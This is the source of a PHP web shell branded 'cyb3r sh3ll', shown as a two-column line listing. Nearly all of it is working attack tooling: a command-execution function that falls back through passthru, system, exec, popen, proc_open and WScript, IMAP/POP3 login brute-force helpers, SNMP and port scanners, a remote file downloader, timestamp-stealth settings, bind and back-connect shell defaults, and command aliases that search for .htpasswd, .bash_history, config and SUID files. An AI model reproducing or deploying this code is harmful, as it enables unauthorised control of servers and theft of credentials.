| 50 | if ($surl_autofill_include and !$_REQUEST["cyb3r_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} | 50 | if ($surl_autofill_include and !$_REQUEST["cyb3r_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} |
| 51 | 51 | ||
| 52 | if (empty($surl)) | 52 | if (empty($surl)) |
| 53 | { $surl = "?".$includestr; }//Self url | 53 | { $surl = "?".$includestr; }//Self url |
| 54 | $surl = htmlspecialchars($surl); | 54 | $surl = htmlspecialchars($surl); |
| 55 | $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. | 55 | $timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. |
| 56 | 56 | ||
| 57 | $welcome = "(: Welcome to the most advanced PHP Web Shell - cyb3r sh3ll :)"; | 57 | $welcome = "(: Welcome to the most advanced PHP Web Shell - cyb3r sh3ll :)"; |
| 58 | //DON'T FORGOT ABOUT PASSWORD!!! | 58 | //DON'T FORGOT ABOUT PASSWORD!!! |
| 59 | 59 | ||
| 60 | $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") | 60 | $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") |
| 61 | $gzipencode = False; //Encode with gzip? | 61 | $gzipencode = False; //Encode with gzip? |
| 62 | 62 | ||
| 63 | $ax4 ="http://"; | 63 | $ax4 ="http://"; |
| 64 | $filestealth = TRUE; //if TRUE, don't change modify- and access-time | 64 | $filestealth = TRUE; //if TRUE, don't change modify- and access-time |
| 65 | 65 | ||
| 66 | $donated_html = "<center><b>Owned by cyb3r.gladiat0r</b></center>"; | 66 | $donated_html = "<center><b>Owned by cyb3r.gladiat0r</b></center>"; |
| 67 | $release = @php_uname('r'); | 67 | $release = @php_uname('r'); |
| 68 | $kernel = @php_uname('s'); | 68 | $kernel = @php_uname('s'); |
| 69 | $expltlink='http://www.exploit-db.com/search/?action=search&filter_exploit_text='; | 69 | $expltlink='http://www.exploit-db.com/search/?action=search&filter_exploit_text='; |
| 70 | if( strpos('Linux', $kernel) !== false ) | 70 | if( strpos('Linux', $kernel) !== false ) |
| 71 | $expltlink .= urlencode( 'Linux Kernel ' . substr($release,0,6) ); | 71 | $expltlink .= urlencode( 'Linux Kernel ' . substr($release,0,6) ); |
| 72 | else | 72 | else |
| 73 | $expltlink .= urlencode( $kernel . ' ' . substr($release,0,3) ); | 73 | $expltlink .= urlencode( $kernel . ' ' . substr($release,0,3) ); |
| 74 | 74 | ||
| 75 | /* If you publish free shell and you wish add link to your site or any other information, put here your html. */ | 75 | /* If you publish free shell and you wish add link to your site or any other information, put here your html. */ |
| 76 | 76 | ||
| 77 | $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. | 77 | $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. |
| 78 | 78 | ||
| 79 | $curdir = "./"; //start folder | 79 | $curdir = "./"; //start folder |
| 80 | 80 | ||
| 81 | //$curdir = getenv("DOCUMENT_ROOT"); | 81 | //$curdir = getenv("DOCUMENT_ROOT"); |
| 82 | $curdir = getcwd(); | 82 | $curdir = getcwd(); |
| 83 | $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) | 83 | $tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) |
| 84 | 84 | ||
| 85 | $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) | 85 | $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) |
| 86 | 86 | ||
| 87 | 87 | ||
| 88 | $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending | 88 | $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending |
| 89 | 89 | ||
| 90 | $sort_save = TRUE; //If TRUE then save sorting-position using cookies. | 90 | $sort_save = TRUE; //If TRUE then save sorting-position using cookies. |
| 91 | 91 | ||
| 92 | if (substr((strtoupper(php_unamE())),0,3)=="WIN") $windows=1; else $windows=0; | 92 | if (substr((strtoupper(php_unamE())),0,3)=="WIN") $windows=1; else $windows=0; |
| 93 | function imaplogiN($host,$username,$password){ | 93 | function imaplogiN($host,$username,$password){ |
| 94 | $sock=fsockopen($host,143,$n,$s,5); | 94 | $sock=fsockopen($host,143,$n,$s,5); |
| 95 | $b=namE(); | 95 | $b=namE(); |
| 96 | $l=strlen($b); | 96 | $l=strlen($b); |
| 97 | if(!$sock)return -1; | 97 | if(!$sock)return -1; |
| 98 | fread($sock,1024); | 98 | fread($sock,1024); |
| 99 | fputs($sock,"$b LOGIN $username $password\r\n"); | 99 | fputs($sock,"$b LOGIN $username $password\r\n"); |
| 100 | $res=fgets($sock,$l+4); | 100 | $res=fgets($sock,$l+4); |
| 101 | if ($res == "$b OK")return 1;else return 0; | 101 | if ($res == "$b OK")return 1;else return 0; |
| 102 | fclose($sock); | 102 | fclose($sock); |
| 103 | } | 103 | } |
| 104 | function pop3logiN($server,$user,$pass){ | 104 | function pop3logiN($server,$user,$pass){ |
| 105 | $sock=fsockopen($server,110,$en,$es,5); | 105 | $sock=fsockopen($server,110,$en,$es,5); |
| 106 | if(!$sock)return -1; | 106 | if(!$sock)return -1; |
| 107 | fread($sock,1024); | 107 | fread($sock,1024); |
| 108 | fwrite($sock,"user $user\n"); | 108 | fwrite($sock,"user $user\n"); |
| 109 | $r=fgets($sock); | 109 | $r=fgets($sock); |
| 110 | if($r{0}=='-')return 0; | 110 | if($r{0}=='-')return 0; |
| 111 | fwrite($sock,"pass $pass\n"); | 111 | fwrite($sock,"pass $pass\n"); |
| 112 | $r=fgets($sock); | 112 | $r=fgets($sock); |
| 113 | fclose($sock); | 113 | fclose($sock); |
| 114 | if($r{0}=='+')return 1; | 114 | if($r{0}=='+')return 1; |
| 115 | return 0; | 115 | return 0; |
| 116 | } | 116 | } |
| 117 | function check_urL($url,$method,$search,$timeout){ | 117 | function check_urL($url,$method,$search,$timeout){ |
| 118 | if(empty($search))$search='200'; | 118 | if(empty($search))$search='200'; |
| 119 | $u=parse_url($url); | 119 | $u=parse_url($url); |
| 120 | $method=strtoupper($method); | 120 | $method=strtoupper($method); |
| 121 | $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; | 121 | $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; |
| 122 | $data=(!empty($u['query']))?$u['query']:''; | 122 | $data=(!empty($u['query']))?$u['query']:''; |
| 123 | if(!empty($data))$data="?$data"; | 123 | if(!empty($data))$data="?$data"; |
| 124 | $sock=@fsockopen($host,80,$en,$es,$timeout); | 124 | $sock=@fsockopen($host,80,$en,$es,$timeout); |
| 125 | if($sock){ | 125 | if($sock){ |
| 126 | fputs($sock,"$method $file$data HTTP/1.0\r\n"); | 126 | fputs($sock,"$method $file$data HTTP/1.0\r\n"); |
| 127 | fputs($sock,"Host: $host\r\n"); | 127 | fputs($sock,"Host: $host\r\n"); |
| 128 | if($method=='GET')fputs($sock,"\r\n"); | 128 | if($method=='GET')fputs($sock,"\r\n"); |
| 129 | elseif($method='POST')fputs($sock,"Content-Type: application/x-www-form-urlencoded\r\nContent-length: ".strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data"); | 129 | elseif($method='POST')fputs($sock,"Content-Type: application/x-www-form-urlencoded\r\nContent-length: ".strlen($data)."\r\nAccept-Encoding: text\r\nConnection: close\r\n\r\n$data"); |
| 130 | else return 0; | 130 | else return 0; |
| 131 | if($search=='200')if(substr(fgets($sock),0,3)=="200"){fclose($sock);return 1;}else {fclose($sock);return 0;} | 131 | if($search=='200')if(substr(fgets($sock),0,3)=="200"){fclose($sock);return 1;}else {fclose($sock);return 0;} |
| 132 | while(!feof($sock)){ | 132 | while(!feof($sock)){ |
| 133 | $res=trim(fgets($sock)); | 133 | $res=trim(fgets($sock)); |
| 134 | if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;} | 134 | if(!empty($res))if(strstr($res,$search)){fclose($sock);return 1;} |
| 135 | } | 135 | } |
| 136 | fclose($sock); | 136 | fclose($sock); |
| 137 | } | 137 | } |
| 138 | return 0; | 138 | return 0; |
| 139 | } | 139 | } |
| 140 | function snmpchecK($ip,$com,$timeout){ | 140 | function snmpchecK($ip,$com,$timeout){ |
| 141 | $res=0; | 141 | $res=0; |
| 142 | $n=chr(0x00); | 142 | $n=chr(0x00); |
| 143 | $packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01). chr(0x00). chr(0x04). chr(strlen($com)). | 143 | $packet=chr(0x30).chr(0x26).chr(0x02).chr(0x01). chr(0x00). chr(0x04). chr(strlen($com)). |
| 144 | $com. chr(0xA0). | 144 | $com. chr(0xA0). |
| 145 | chr(0x19). chr(0x02). chr(0x01). chr(0x01). chr(0x02). chr(0x01). $n. | 145 | chr(0x19). chr(0x02). chr(0x01). chr(0x01). chr(0x02). chr(0x01). $n. |
| 146 | chr(0x02). chr(0x01). $n. chr(0x30). chr(0x0E). chr(0x30). chr(0x0C). | 146 | chr(0x02). chr(0x01). $n. chr(0x30). chr(0x0E). chr(0x30). chr(0x0C). |
| 147 | chr(0x06). chr(0x08). chr(0x2B). chr(0x06). chr(0x01). chr(0x02). chr(0x01). | 147 | chr(0x06). chr(0x08). chr(0x2B). chr(0x06). chr(0x01). chr(0x02). chr(0x01). |
| 148 | chr(0x01). chr(0x01). $n. chr(0x05). $n; | 148 | chr(0x01). chr(0x01). $n. chr(0x05). $n; |
| 149 | $sock=@fsockopen("udp://$ip",161); | 149 | $sock=@fsockopen("udp://$ip",161); |
| 150 | socket_set_timeout($sock,$timeout); | 150 | socket_set_timeout($sock,$timeout); |
| 151 | @fputs($sock,$packet); | 151 | @fputs($sock,$packet); |
| 152 | socket_set_timeout($sock,$timeout); | 152 | socket_set_timeout($sock,$timeout); |
| 153 | $res=fgets($sock); | 153 | $res=fgets($sock); |
| 154 | fclose($sock); | 154 | fclose($sock); |
| 155 | return $res; | 155 | return $res; |
| 156 | } | 156 | } |
| 157 | function checkthisporT($ip,$port,$timeout,$type=0){ | 157 | function checkthisporT($ip,$port,$timeout,$type=0){ |
| 158 | if(!$type){ | 158 | if(!$type){ |
| 159 | $scan=@fsockopen($ip,$port,$n,$s,$timeout); | 159 | $scan=@fsockopen($ip,$port,$n,$s,$timeout); |
| 160 | if($scan){fclose($scan);return 1;} | 160 | if($scan){fclose($scan);return 1;} |
| 161 | } | 161 | } |
| 162 | elseif(function_exists('socket_set_timeout')){ | 162 | elseif(function_exists('socket_set_timeout')){ |
| 163 | $scan=@fsockopen("udp://".$ip,$port); | 163 | $scan=@fsockopen("udp://".$ip,$port); |
| 164 | if($scan){ | 164 | if($scan){ |
| 165 | socket_set_timeout($scan,$timeout); | 165 | socket_set_timeout($scan,$timeout); |
| 166 | @fwrite($scan,"\x00"); | 166 | @fwrite($scan,"\x00"); |
| 167 | $s=time(); | 167 | $s=time(); |
| 168 | fread($scan,1); | 168 | fread($scan,1); |
| 169 | if((time()-$s)>=$timeout){fclose($scan);return 1;} | 169 | if((time()-$s)>=$timeout){fclose($scan);return 1;} |
| 170 | } | 170 | } |
| 171 | } | 171 | } |
| 172 | return 0; | 172 | return 0; |
| 173 | } | 173 | } |
| 174 | function get_sw_namE($host,$timeout){ | 174 | function get_sw_namE($host,$timeout){ |
| 175 | $sock=@fsockopen($host,80,$en,$es,$timeout); | 175 | $sock=@fsockopen($host,80,$en,$es,$timeout); |
| 176 | if($sock){ | 176 | if($sock){ |
| 177 | $page=namE().namE(); | 177 | $page=namE().namE(); |
| 178 | fputs($sock,"GET /$page HTTP/1.0\r\n\r\n"); | 178 | fputs($sock,"GET /$page HTTP/1.0\r\n\r\n"); |
| 179 | while(!feof($sock)){ | 179 | while(!feof($sock)){ |
| 180 | $con=fgets($sock); | 180 | $con=fgets($sock); |
| 181 | if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;} | 181 | if(strstr($con,'Server:')){$ser=substr($con,strpos($con,' ')+1);return $ser;} |
| 182 | } | 182 | } |
| 183 | fclose($sock); | 183 | fclose($sock); |
| 184 | return -1; | 184 | return -1; |
| 185 | }return 0; | 185 | }return 0; |
| 186 | } | 186 | } |
| 187 | function getDisabledFunctions(){ | 187 | function getDisabledFunctions(){ |
| 188 | if(!ini_get('disable_functions')) | 188 | if(!ini_get('disable_functions')) |
| 189 | { | 189 | { |
| 190 | echo "None"; | 190 | echo "None"; |
| 191 | } | 191 | } |
| 192 | else | 192 | else |
| 193 | { | 193 | { |
| 194 | echo @ini_get('disable_functions'); | 194 | echo @ini_get('disable_functions'); |
| 195 | } | 195 | } |
| 196 | } | 196 | } |
| 197 | function showsizE($size){ | 197 | function showsizE($size){ |
| 198 | if ($size>=1073741824)$size = round(($size/1073741824) ,2)." GB"; | 198 | if ($size>=1073741824)$size = round(($size/1073741824) ,2)." GB"; |
| 199 | elseif ($size>=1048576)$size = round(($size/1048576),2)." MB"; | 199 | elseif ($size>=1048576)$size = round(($size/1048576),2)." MB"; |
| 200 | elseif ($size>=1024)$size = round(($size/1024),2)." KB"; | 200 | elseif ($size>=1024)$size = round(($size/1024),2)." KB"; |
| 201 | else $size .= " B"; | 201 | else $size .= " B"; |
| 202 | return $size; | 202 | return $size; |
| 203 | } | 203 | } |
| 204 | function whereistmP(){ | 204 | function whereistmP(){ |
| 205 | $uploadtmp=ini_get('upload_tmp_dir'); | 205 | $uploadtmp=ini_get('upload_tmp_dir'); |
| 206 | $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); | 206 | $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); |
| 207 | if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp'; | 207 | if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp'; |
| 208 | if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp'; | 208 | if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp'; |
| 209 | if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp'; | 209 | if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp'; |
| 210 | if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp; | 210 | if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp; |
| 211 | if(is_dir($envtmp) && is_writable($envtmp))return $envtmp; | 211 | if(is_dir($envtmp) && is_writable($envtmp))return $envtmp; |
| 212 | return "."; | 212 | return "."; |
| 213 | } | 213 | } |
| 214 | function downloadiT($get,$put){ | 214 | function downloadiT($get,$put){ |
| 215 | $fo=@strtolower(ini_get('allow_url_fopen')); | 215 | $fo=@strtolower(ini_get('allow_url_fopen')); |
| 216 | if($fo || $fo=='on')$con=file_get_contents($get); | 216 | if($fo || $fo=='on')$con=file_get_contents($get); |
| 217 | else{ | 217 | else{ |
| 218 | $u=parse_url($get); | 218 | $u=parse_url($get); |
| 219 | $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; | 219 | $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; |
| 220 | $url=fsockopen($host, 80, $en, $es, 12); | 220 | $url=fsockopen($host, 80, $en, $es, 12); |
| 221 | fputs($url, "GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); | 221 | fputs($url, "GET $file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); |
| 222 | $tmp=$con=''; | 222 | $tmp=$con=''; |
| 223 | while($tmp!="\r\n")$tmp=fgets($url); | 223 | while($tmp!="\r\n")$tmp=fgets($url); |
| 224 | while(!feof($url))$con.=fgets($url); | 224 | while(!feof($url))$con.=fgets($url); |
| 225 | } | 225 | } |
| 226 | $mk=file_put_contents($put,$con); | 226 | $mk=file_put_contents($put,$con); |
| 227 | if($mk)return 1; | 227 | if($mk)return 1; |
| 228 | return 0; | 228 | return 0; |
| 229 | } | 229 | } |
| 230 | function flusheR(){ | 230 | function flusheR(){ |
| 231 | flush();@ob_flush(); | 231 | flush();@ob_flush(); |
| 232 | } | 232 | } |
| 233 | function namE(){ | 233 | function namE(){ |
| 234 | $name=''; | 234 | $name=''; |
| 235 | srand((double)microtime()*100000); | 235 | srand((double)microtime()*100000); |
| 236 | for ($i=0;$i<=rand(3,10);$i++){ | 236 | for ($i=0;$i<=rand(3,10);$i++){ |
| 237 | $name.=chr(rand(97,122)); | 237 | $name.=chr(rand(97,122)); |
| 238 | } | 238 | } |
| 239 | return $name; | 239 | return $name; |
| 240 | } | 240 | } |
| 241 | function hlinK($str=""){ | 241 | function hlinK($str=""){ |
| 242 | $myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','sec','cP','mV','rN','deL'); | 242 | $myvars=array('workingdiR','urL','imagE','namE','filE','downloaD','sec','cP','mV','rN','deL'); |
| 243 | $ret=$_SERVER['PHP_SELF']."?"; | 243 | $ret=$_SERVER['PHP_SELF']."?"; |
| 244 | $new=explode("&",$str); | 244 | $new=explode("&",$str); |
| 245 | foreach ($_GET as $key => $v){ | 245 | foreach ($_GET as $key => $v){ |
| 246 | $add=1; | 246 | $add=1; |
| 247 | foreach($new as $m){ | 247 | foreach($new as $m){ |
| 248 | $el = explode("=", $m); | 248 | $el = explode("=", $m); |
| 249 | if ($el[0]==$key)$add=0; | 249 | if ($el[0]==$key)$add=0; |
| 250 | } | 250 | } |
| 251 | if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&"; | 251 | if($add)if(!in_array($key,$myvars))$ret.=$key."=".$v."&"; |
| 252 | } | 252 | } |
| 253 | $ret.=$str; | 253 | $ret.=$str; |
| 254 | return $ret; | 254 | return $ret; |
| 255 | } | 255 | } |
| 256 | function shelL($command){ | 256 | function shelL($command){ |
| 257 | global $windows,$disablefunctions; | 257 | global $windows,$disablefunctions; |
| 258 | $exec = '';$output= ''; | 258 | $exec = '';$output= ''; |
| 259 | $dep[]=array('pipe','r');$dep[]=array('pipe','w'); | 259 | $dep[]=array('pipe','r');$dep[]=array('pipe','w'); |
| 260 | if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();} | 260 | if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();} |
| 261 | elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; } | 261 | elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; } |
| 262 | elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;} | 262 | elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;} |
| 263 | elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);} | 263 | elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);} |
| 264 | elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);} | 264 | elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);} |
| 265 | elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);} | 265 | elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);} |
| 266 | elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);} | 266 | elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].namE();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);} |
| 267 | return $exec; | 267 | return $exec; |
| 268 | } | 268 | } |
| 269 | // Registered file-types. | 269 | // Registered file-types. |
| 270 | // array( | 270 | // array( |
| 271 | // "{action1}"=>array("ext1","ext2","ext3",...), | 271 | // "{action1}"=>array("ext1","ext2","ext3",...), |
| 272 | // "{action2}"=>array("ext4","ext5","ext6",...), | 272 | // "{action2}"=>array("ext4","ext5","ext6",...), |
| 273 | // ... | 273 | // ... |
| 274 | // ) | 274 | // ) |
| 275 | $ftypes = array( | 275 | $ftypes = array( |
| 276 | "html"=>array("html","htm","shtml"), | 276 | "html"=>array("html","htm","shtml"), |
| 277 | "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), | 277 | "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), |
| 278 | "exe"=>array("sh","install","bat","cmd"), | 278 | "exe"=>array("sh","install","bat","cmd"), |
| 279 | "ini"=>array("ini","inf"), | 279 | "ini"=>array("ini","inf"), |
| 280 | "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), | 280 | "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), |
| 281 | "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), | 281 | "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), |
| 282 | "sdb"=>array("sdb"), | 282 | "sdb"=>array("sdb"), |
| 283 | "phpsess"=>array("sess"), | 283 | "phpsess"=>array("sess"), |
| 284 | "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") | 284 | "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") |
| 285 | ); | 285 | ); |
| 286 | // Registered executable file-types. | 286 | // Registered executable file-types. |
| 287 | // array( | 287 | // array( |
| 288 | // string "command{i}"=>array("ext1","ext2","ext3",...), | 288 | // string "command{i}"=>array("ext1","ext2","ext3",...), |
| 289 | // ... | 289 | // ... |
| 290 | // ) | 290 | // ) |
| 291 | // {command}: %f% = filename | 291 | // {command}: %f% = filename |
| 292 | $exeftypes = array( | 292 | $exeftypes = array( |
| 293 | getenv("PHPRC")." -q %f%" => array("php","php3","php4"), | 293 | getenv("PHPRC")." -q %f%" => array("php","php3","php4"), |
| 294 | "perl %f%" => array("pl","cgi") | 294 | "perl %f%" => array("pl","cgi") |
| 295 | ); | 295 | ); |
| 296 | /* Highlighted files. | 296 | /* Highlighted files. |
| 297 | array( | 297 | array( |
| 298 | i=>array({regexp},{type},{opentag},{closetag},{break}) | 298 | i=>array({regexp},{type},{opentag},{closetag},{break}) |
| 299 | ... | 299 | ... |
| 300 | ) | 300 | ) |
| 301 | string {regexp} - regular exp. | 301 | string {regexp} - regular exp. |
| 302 | int {type}: | 302 | int {type}: |
| 303 | 0 - files and folders (as default), | 303 | 0 - files and folders (as default), |
| 304 | 1 - files only, 2 - folders only | 304 | 1 - files only, 2 - folders only |
| 305 | string {opentag} - open html-tag, e.g. "<b>" (default) | 305 | string {opentag} - open html-tag, e.g. "<b>" (default) |
| 306 | string {closetag} - close html-tag, e.g. "</b>" (default) | 306 | string {closetag} - close html-tag, e.g. "</b>" (default) |
| 307 | bool {break} - if TRUE and found match then break | 307 | bool {break} - if TRUE and found match then break |
| 308 | */ | 308 | */ |
| 309 | $regxp_highlight = array( | 309 | $regxp_highlight = array( |
| 310 | array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example | 310 | array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example |
| 311 | array("config.php",1) // example | 311 | array("config.php",1) // example |
| 312 | ); | 312 | ); |
| 313 | $safemode_diskettes = array("a"); // This variable for disabling diskett-errors. | 313 | $safemode_diskettes = array("a"); // This variable for disabling diskett-errors. |
| 314 | // array (i=>{letter} ...); string {letter} - letter of a drive | 314 | // array (i=>{letter} ...); string {letter} - letter of a drive |
| 315 | //$safemode_diskettes = range("a","z"); | 315 | //$safemode_diskettes = range("a","z"); |
| 316 | $hexdump_lines = 8;// lines in hex preview file | 316 | $hexdump_lines = 8;// lines in hex preview file |
| 317 | $hexdump_rows = 24;// 16, 24 or 32 bytes in one line | 317 | $hexdump_rows = 24;// 16, 24 or 32 bytes in one line |
| 318 | $cx7 =".com"; | 318 | $cx7 =".com"; |
| 319 | $nixpwdperpage = 100; // Get first N lines from /etc/passwd | 319 | $nixpwdperpage = 100; // Get first N lines from /etc/passwd |
| 320 | $bindport_pass = "cyb3r"; // default password for binding | 320 | $bindport_pass = "cyb3r"; // default password for binding |
| 321 | $bindport_port = "31373"; // default port for binding | 321 | $bindport_port = "31373"; // default port for binding |
| 322 | $bc_port = "31373"; // default port for back-connect | 322 | $bc_port = "31373"; // default port for back-connect |
| 323 | $cx4 ="/x."; | 323 | $cx4 ="/x."; |
| 324 | $datapipe_localport = "8081"; // default port for datapipe | 324 | $datapipe_localport = "8081"; // default port for datapipe |
| 325 | // Command-aliases | 325 | // Command-aliases |
| 326 | if (!$win) | 326 | if (!$win) |
| 327 | { | 327 | { |
| 328 | $cmdaliases = array( | 328 | $cmdaliases = array( |
| 329 | array("-----------------------------------------------------------", "ls -la"), | 329 | array("-----------------------------------------------------------", "ls -la"), |
| 330 | array("find all suid files", "find / -type f -perm -04000 -ls"), | 330 | array("find all suid files", "find / -type f -perm -04000 -ls"), |
| 331 | array("find suid files in current dir", "find . -type f -perm -04000 -ls"), | 331 | array("find suid files in current dir", "find . -type f -perm -04000 -ls"), |
| 332 | array("find all sgid files", "find / -type f -perm -02000 -ls"), | 332 | array("find all sgid files", "find / -type f -perm -02000 -ls"), |
| 333 | array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), | 333 | array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), |
| 334 | array("find config.inc.php files", "find / -type f -name config.inc.php"), | 334 | array("find config.inc.php files", "find / -type f -name config.inc.php"), |
| 335 | array("find config* files", "find / -type f -name \"config*\""), | 335 | array("find config* files", "find / -type f -name \"config*\""), |
| 336 | array("find config* files in current dir", "find . -type f -name \"config*\""), | 336 | array("find config* files in current dir", "find . -type f -name \"config*\""), |
| 337 | array("find all writable folders and files", "find / -perm -2 -ls"), | 337 | array("find all writable folders and files", "find / -perm -2 -ls"), |
| 338 | array("find all writable folders and files in current dir", "find . -perm -2 -ls"), | 338 | array("find all writable folders and files in current dir", "find . -perm -2 -ls"), |
| 339 | array("find all service.pwd files", "find / -type f -name service.pwd"), | 339 | array("find all service.pwd files", "find / -type f -name service.pwd"), |
| 340 | array("find service.pwd files in current dir", "find . -type f -name service.pwd"), | 340 | array("find service.pwd files in current dir", "find . -type f -name service.pwd"), |
| 341 | array("find all .htpasswd files", "find / -type f -name .htpasswd"), | 341 | array("find all .htpasswd files", "find / -type f -name .htpasswd"), |
| 342 | array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), | 342 | array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), |
| 343 | array("find all .bash_history files", "find / -type f -name .bash_history"), | 343 | array("find all .bash_history files", "find / -type f -name .bash_history"), |
| 344 | array("find .bash_history files in current dir", "find . -type f -name .bash_history"), | 344 | array("find .bash_history files in current dir", "find . -type f -name .bash_history"), |
| 345 | array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), | 345 | array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), |
| 346 | array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), | 346 | array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), |
| 347 | array("list file attributes on a Linux second extended file system", "lsattr -va"), | 347 | array("list file attributes on a Linux second extended file system", "lsattr -va"), |
| 348 | array("show opened ports", "netstat -an | grep -i listen") | 348 | array("show opened ports", "netstat -an | grep -i listen") |
| 349 | ); | 349 | ); |
| 350 | } | 350 | } |
| 351 | else | 351 | else |
| 352 | { | 352 | { |
| 353 | $cmdaliases = array( | 353 | $cmdaliases = array( |
| 354 | array("-----------------------------------------------------------", "dir"), | 354 | array("-----------------------------------------------------------", "dir"), |
| 355 | array("show opened ports", "netstat -an") | 355 | array("show opened ports", "netstat -an") |
| 356 | ); | 356 | ); |
| 357 | } | 357 | } |
